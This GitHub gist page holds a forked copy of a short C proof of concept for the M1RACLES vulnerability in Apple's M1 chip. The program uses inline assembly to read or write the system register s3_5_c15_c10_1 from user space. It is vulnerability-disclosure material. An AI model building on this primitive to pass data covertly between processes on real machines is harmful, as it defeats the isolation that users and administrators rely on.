Skip to content

Instantly share code, notes, and snippets.

@Justin-Schmitz
Forked from marcan/m1racles-poc.c
Created May 28, 2021 10:29
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save Justin-Schmitz/454f076a8b5f2ec166237039ce602056 to your computer and use it in GitHub Desktop.
Save Justin-Schmitz/454f076a8b5f2ec166237039ce602056 to your computer and use it in GitHub Desktop.
/*
* m1racle-poc: a basic proof of concept for the M1RACLES vulnerability in the Apple M1.
*
* This program allows you to read and write the state of the s3_5_c15_c10_1 CPU register.
*
* Please visit m1racles.com for more information.
*
* Licensed under the MIT license.
*/
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
int main(int argc, char **argv)
{
uint64_t val;
if (argc > 1) {
val = atoi(argv[1]);
asm("msr s3_5_c15_c10_1, %x0" : : "r"(val));
} else {
asm("mrs %x0, s3_5_c15_c10_1" : "=r"(val));
printf("%llu\n", val);
}
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment